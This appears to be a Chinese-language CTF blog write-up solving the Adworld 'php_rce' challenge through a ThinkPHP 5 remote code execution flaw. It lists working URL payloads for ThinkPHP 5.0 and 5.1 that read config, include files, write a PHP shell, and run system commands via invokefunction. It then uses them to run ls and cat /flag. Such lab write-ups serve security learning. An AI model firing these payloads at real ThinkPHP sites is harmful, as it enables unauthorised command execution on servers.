php_rce

攻防世界 php_rce

hello 大家,好久没写过blog了,也好久没做过题了,假期开始,便回来做题,更新假期ctf学习的第一篇blog
这篇blog主要记录的是关于php_rce的一道题

打开题目环境:
屏幕截图 2023-07-10 102205.png
所给予的提示只有thinkphp v5
考虑到是一个框架,且为rce,也就是说一定有相关可以利用的漏洞,在google搜索一下,相关payload如下:
5.0x
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id# 可用于执行命令

5.1x #本题未用到
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

payload用法示例
index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

进行解题:
(1)根据5.0版本与rce进行命令执行:
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
result:
屏幕截图 2023-07-10 101246.png

(2)似乎什么都没有,于是我们访问一下根目录:
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
result:
屏幕截图 2023-07-10 101259.png

(3) 我们看到了很想要的东西 flag,使用cat打开
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
result:
屏幕截图 2023-07-10 101327.png

拿到flag:flag{thinkphp5_rce}

一些其他的东西
1.不是特别清楚为什么flag会显示两遍
2.漏洞解析博客:https://syst1m.com/post/thinkphp5-rce/